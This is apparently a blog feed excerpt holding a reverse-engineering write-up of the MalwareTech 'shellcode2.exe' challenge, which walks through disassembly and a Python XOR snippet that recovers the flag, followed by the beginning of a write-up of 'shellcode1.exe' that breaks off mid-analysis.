dword [ebp - 4]    LoadLibraryA
dword [ebp - 0x44] GetProcAddress
dword [ebp - 0x3c] msvcrt.dll module handle
dword [ebp - 0x84] kernel32.dll module handle
dword [ebp - 0x10] GetModuleFileNameA address
dword [ebp - 0x80] fopen address
dword [ebp - 0xa4] fseek address
dword [ebp - 0x90] fread address
dword [ebp - 0x64] fclose address
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;    0x00404218      push 0x104 ; 260
    0x0040421d      lea  ecx, [ebp - 0x1b0]
    0x00404223      push ecx
    0x00404224      push 0
    0x00404226      call dword [ebp - 0x10]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we are calling GetModuleFileNameA(0, ebp 0x1b0, 260)&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;DWORD GetModuleFileNameA(
  HMODULE hModule,
  LPSTR   lpFilename,
  DWORD   nSize
);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We are sending an hModule of 0:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;A handle to the loaded module whose path is being requested. If this parameter is NULL, GetModuleFileName retrieves the path of the executable file of the current process.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;lpFilename is listed in the docs as follows&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;A pointer to a buffer that receives the fully qualified path of the module. If the length of the path is less than the size that the nSize parameter specifies, the function succeeds and the path is returned as a null-terminated string.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So ebp 0x1b0 is the fully qualified path to the running process.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ebp 0x58            msvcrt.dll
ebp 0xa0            kernel32.dll
ebp 0x1b8           fopen
ebp 0x4c            fread
ebp 0xc             fseek
ebp 0x60            fclose
ebp 0x78            GetModuleFileNameA
ebp 0x7c            rb
dword [ebp - 4]     LoadLibraryA
dword [ebp - 0x44]  GetProcAddress
dword [ebp - 0x3c]  msvcrt.dll module handle
dword [ebp - 0x84]  kernel32.dll module handle
dword [ebp - 0x10]  GetModuleFileNameA address
dword [ebp - 0x80]  fopen address
dword [ebp - 0xa4]  fseek address
dword [ebp - 0x90]  fread address
dword [ebp - 0x64]  fclose address
dword [ebp - 0x1b0] current process path
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;    0x00404229      lea  edx, [ebp - 0x7c]
    0x0040422c      push edx
    0x0040422d      lea  eax, [ebp - 0x1b0]
    0x00404233      push eax
    0x00404234      call dword [ebp - 0x80]
    0x00404237      add  esp, 8
    0x0040423a      mov  dword [ebp - 0x40], eax
    0x0040423d      push 0
    0x0040423f      push 0x4e ; 'N' ; 78
    0x00404241      mov  ecx, dword [ebp - 0x40]
    0x00404244      push ecx
    0x00404245      call dword [ebp - 0xa4]
    0x0040424b      add  esp, 0xc
    0x0040424e      mov  edx, dword [ebp - 0x40]
    0x00404251      push edx
    0x00404252      push 1 ; 1
    0x00404254      push 0x26 ; '&amp;amp;' ; 38
    0x00404256      lea  eax, [ebp - 0x38]
    0x00404259      push eax
    0x0040425a      call dword [ebp - 0x90]
    0x00404260      add  esp, 0x10
    0x00404263      mov  ecx, dword [ebp - 0x40]
    0x00404266      push ecx
    0x00404267      call dword [ebp - 0x64]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we are opening the current process to read only, as a binary file.
We are then calling fseek(filestream,0x4e,0).
Looking at the docs this means we have moved the pointer in the file to offset 0x4e.
Next we are calling fread(ebp 0x38, 0x26, 1, filestream).
The docs let us know that we are reading out 1 object that is 38 bytes.
After this we are closing the filestream.&lt;/p&gt;

&lt;p&gt;Lets open the binary up in a hex editor and grab 38 bytes starting at 0x4e:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;00000040  0e 1f ba 0e 00 b4 09 cd  21 b8 01 4c cd 21 54 68  |........!..L.!Th|
00000050  69 73 20 70 72 6f 67 72  61 6d 20 63 61 6e 6e 6f  |is program canno|
00000060  74 20 62 65 20 72 75 6e  20 69 6e 20 44 4f 53 20  |t be run in DOS |
00000070  6d 6f 64 65 2e 0d 0d 0a  24 00 00 00 00 00 00 00  |mode....$.......|
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We get a string back from the header.
“This program cannot be run in DOS mode.”&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;    0x0040426a      add  esp, 4
    0x0040426d      mov  edx, dword [ebp + 8] ; [0x8:4]=-1 ; 8
    0x00404270      mov  ecx, dword [edx + 0xc] ; [0xc:4]=-1 ; 12
    0x00404273      mov  edi, dword [edx + 8] ; [0x8:4]=-1 ; 8
    0x00404274          .string &quot;z\b1\xd2\x8aD&quot; ; len=7 ;-- &quot;z\b1ҊD&quot;:
:   0x0040427b      enter 0x430, 0x17 ; 1072
:   0x0040427f      inc  edx
:   0x00404280      cmp  edx, ecx
`=&amp;lt; 0x00404282      jne  0x404278
    0x00404284      mov  esp, ebp
    0x00404286      pop  ebp
    0x00404287      ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It looks like we are moving our string to edx and the first 36 bytes to ecx.
Something looks broken in this disassembly view, im not sure if I failed when importing it, or if radare2 just wasn’t able to handle it. Lets open Ghidra to take a look at the last few lines:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;        0040426d 8b 55 08        MOV        EDX,dword ptr [EBP + 0x8]
        00404270 8b 4a 0c        MOV        ECX,dword ptr [EDX + 0xc]
        00404273 8b 7a 08        MOV        EDI,dword ptr [EDX + 0x8]
        00404276 31 d2           XOR        EDX,EDX
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is more of what I would expect. We are taking the header we read and XORing it with something. There was a stack string at the begining of the binary that I completely ignored. Lets grab it and see if thats what we need.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;|           0x00402284      mov byte [var_28h], 0x12 ; 18
|           0x00402288      mov byte [var_27h], 0x24 ; '$' ; 36
|           0x0040228c      mov byte [var_26h], 0x28 ; '(' ; 40
|           0x00402290      mov byte [var_25h], 0x34 ; '4' ; 52
|           0x00402294      mov byte [var_24h], 0x5b ; '[' ; 91
|           0x00402298      mov byte [var_23h], 0x23 ; '#' ; 35
|           0x0040229c      mov byte [var_22h], 0x26 ; '&amp;amp;' ; 38
|           0x004022a0      mov byte [var_21h], 0x20 ; 32
|           0x004022a4      mov byte [var_20h], 0x35 ; '5' ; 53
|           0x004022a8      mov byte [var_1fh], 0x37 ; '7' ; 55
|           0x004022ac      mov byte [var_1eh], 0x4c ; 'L' ; 76
|           0x004022b0      mov byte [var_1dh], 0x28 ; '(' ; 40
|           0x004022b4      mov byte [var_1ch], 0x76 ; 'v' ; 118
|           0x004022b8      mov byte [var_1bh], 0x26 ; '&amp;amp;' ; 38
|           0x004022bc      mov byte [var_1ah], 0x33 ; '3' ; 51
|           0x004022c0      mov byte [var_19h], 0x37 ; '7' ; 55
|           0x004022c4      mov byte [var_18h], 0x3a ; ':' ; 58
|           0x004022c8      mov byte [var_17h], 0x27 ; ''' ; 39
|           0x004022cc      mov byte [var_16h], 0x3d ; '=' ; 61
|           0x004022d0      mov byte [var_15h], 0x6e ; 'n' ; 110
|           0x004022d4      mov byte [var_14h], 0x25 ; '%' ; 37
|           0x004022d8      mov byte [var_13h], 0x48 ; 'H' ; 72
|           0x004022dc      mov byte [var_12h], 0x6f ; 'o' ; 111
|           0x004022e0      mov byte [var_11h], 0x3c ; '&amp;lt;' ; 60
|           0x004022e4      mov byte [var_10h], 0x58 ; 'X' ; 88
|           0x004022e8      mov byte [var_fh], 0x3a ; ':' ; 58
|           0x004022ec      mov byte [var_eh], 0x68 ; 'h' ; 104
|           0x004022f0      mov byte [var_dh], 0x2c ; ',' ; 44
|           0x004022f4      mov byte [var_ch], 0x43 ; 'C' ; 67
|           0x004022f8      mov byte [var_bh], 0x73 ; 's' ; 115
|           0x004022fc      mov byte [var_ah], 0x10 ; 16
|           0x00402300      mov byte [var_9h], 0xe ; 14
|           0x00402304      mov byte [var_8h], 0x10 ; 16
|           0x00402308      mov byte [var_7h], 0x6b ; 'k' ; 107
|           0x0040230c      mov byte [var_6h], 0x10 ; 16
|           0x00402310      mov byte [var_5h], 0x6f ; 'o' ; 111
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we have this string lets grab the first 36 out of the header string
We saw that ecx was being set to the first 36 bytes of the header string, and our xor key is 36 bytes so that should work out.
Lets see if we can get our flag with Python:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;header&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x54&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x68&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x69&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x73&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x70&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
   &lt;span class=&quot;p&quot;&gt;...:&lt;/span&gt;           &lt;span class=&quot;mh&quot;&gt;0x72&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x67&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x72&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x61&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
   &lt;span class=&quot;p&quot;&gt;...:&lt;/span&gt;           &lt;span class=&quot;mh&quot;&gt;0x20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x63&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x61&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
   &lt;span class=&quot;p&quot;&gt;...:&lt;/span&gt;           &lt;span class=&quot;mh&quot;&gt;0x74&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x65&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x72&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
   &lt;span class=&quot;p&quot;&gt;...:&lt;/span&gt;           &lt;span class=&quot;mh&quot;&gt;0x75&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x69&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
   &lt;span class=&quot;p&quot;&gt;...:&lt;/span&gt;           &lt;span class=&quot;mh&quot;&gt;0x44&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x4f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x53&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xorkey&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x34&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x5b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
   &lt;span class=&quot;p&quot;&gt;...:&lt;/span&gt;           &lt;span class=&quot;mh&quot;&gt;0x26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x37&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x4c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
   &lt;span class=&quot;p&quot;&gt;...:&lt;/span&gt;           &lt;span class=&quot;mh&quot;&gt;0x76&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x37&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x3a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x27&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
   &lt;span class=&quot;p&quot;&gt;...:&lt;/span&gt;           &lt;span class=&quot;mh&quot;&gt;0x3d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x48&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x3c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
   &lt;span class=&quot;p&quot;&gt;...:&lt;/span&gt;           &lt;span class=&quot;mh&quot;&gt;0x58&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x3a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x68&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x43&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x73&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
   &lt;span class=&quot;p&quot;&gt;...:&lt;/span&gt;           &lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x0e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;''&lt;/span&gt; 

&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;36&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; 
    &lt;span class=&quot;p&quot;&gt;...:&lt;/span&gt;     &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xorkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; 
    &lt;span class=&quot;p&quot;&gt;...:&lt;/span&gt;                                                                                      

&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;19&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;                       
&lt;span class=&quot;n&quot;&gt;FLAG&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;STORE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EVERYTHING&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ON&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;THE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;STACK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Flag 5 found.
There are a few more challenges from MalwareTech, if I end up doing them I will be sure to post about it here.
Other than that there are a few other CTF style reversing challenges I may look into.
I also think its time to fire up the lab and document some actual malware reversing.&lt;/p&gt;
</description>
        <pubDate>Mon, 24 Jun 2019 22:30:00 +0000</pubDate>
        <link>https://bizarrechaos.com/posts/MalwareTechChallenge_shellcode2.exe/</link>
        <guid isPermaLink="true">https://bizarrechaos.com/posts/MalwareTechChallenge_shellcode2.exe/</guid>
        
        <category>mtchallenge</category>
        
        <category>tools</category>
        
        <category>re</category>
        
        
        <category>posts</category>
        
      </item>
    
      <item>
        <title>MalwareTech Challenge - shellcode1.exe</title>
        <description>&lt;p&gt;I have been teaching myself to reverse engineer binary programs so that I can use these skills to reverse engineer malware.
I have been learning assembly code, and playing with new tools such as ghidra and radare2/cutter.&lt;/p&gt;

&lt;p&gt;I found that &lt;a href=&quot;https://twitter.com/MalwareTechBlog&quot;&gt;@MalwareTech&lt;/a&gt; had some great binary analysis challenges on his blog and decided to check them out.&lt;/p&gt;

&lt;p&gt;This write up covers the fourth challenge shellcode1.exe: &lt;a href=&quot;https://www.malwaretech.com/challenges-shellcode1&quot;&gt;‘https://www.malwaretech.com/challenges-shellcode1’&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lets open this binary in cutter and analyze it with radare2.
Once open lets navigate to the entry function:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/shellcode1-cutter.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The first bit of intresting code we come across is:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;|           0x00402285      push 0x10 ; 16
|           0x00402287      push 0 ; DWORD dwFlags
|           0x00402289      call dword [sym.imp.KERNEL32.dll_GetProcessHeap] ; 0x403008 ; HANDLE GetProcessHeap(void)
|           0x0040228f      push eax ; HANDLE hHeap
|           0x00402290      call dword [sym.imp.KERNEL32.dll_HeapAlloc] ; 0x403004 ; LPVOID HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
|           0x00402296      mov dword [var_4h], eax
|           0x00402299      mov eax, dword [var_4h]
|           0x0040229c      mov dword [eax], str.2b__:__B_bb ; [0x404040:4]=0x3a0a6232 ; &quot;2b\n:\u06daB*bb\x1az\&quot;*iJ\x9ar\xa2iR\xaa\x9a\xa2i2z\x92i*\u0082bzJ\xa2\x9a\xeb&quot;
|           0x004022a2      push str.2b__:__B_bb ; 0x404040 ; &quot;2b\n:\u06daB*bb\x1az\&quot;*iJ\x9ar\xa2iR\xaa\x9a\xa2i2z\x92i*\u0082bzJ\xa2\x9a\xeb&quot; ; const char *s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;0x00402285 is pushing 16 to the stack.
0x00402287 is pushing 0 to the stack.
0x00402289 is a call to &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/heapapi/nf-heapapi-getprocessheap&quot;&gt;GetProcessHeap&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Retrieves a handle to the default heap of the calling process. This handle can then be used in subsequent calls to the heap functions.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;0x0040228f is pushing a handle to our current heap to the stack.&lt;/p&gt;

&lt;p&gt;Currently our stack is as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Heap
0
16
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;0x00402290 is a call to &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/heapapi/nf-heapapi-heapalloc&quot;&gt;HeapAlloc&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Allocates a block of memory from a heap. The allocated memory is not movable.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;DECLSPEC_ALLOCATOR&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LPVOID&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;HeapAlloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;HANDLE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hHeap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;DWORD&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;dwFlags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;SIZE_T&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dwBytes&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This call is returning a pointer to allocated memory. Specifically a 16 byte section of the heap.&lt;/p&gt;

&lt;p&gt;After accepting our pointer we are then pushing a string from offset 0x404040 to the stack:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;|           0x0040229c      mov dword [eax], str.2b__:__B_bb ; [0x404040:4]=0x3a0a6232 ; &quot;2b\n:\u06daB*bb\x1az\&quot;*iJ\x9ar\xa2iR\xaa\x9a\xa2i2z\x92i*\u0082bzJ\xa2\x9a\xeb&quot;
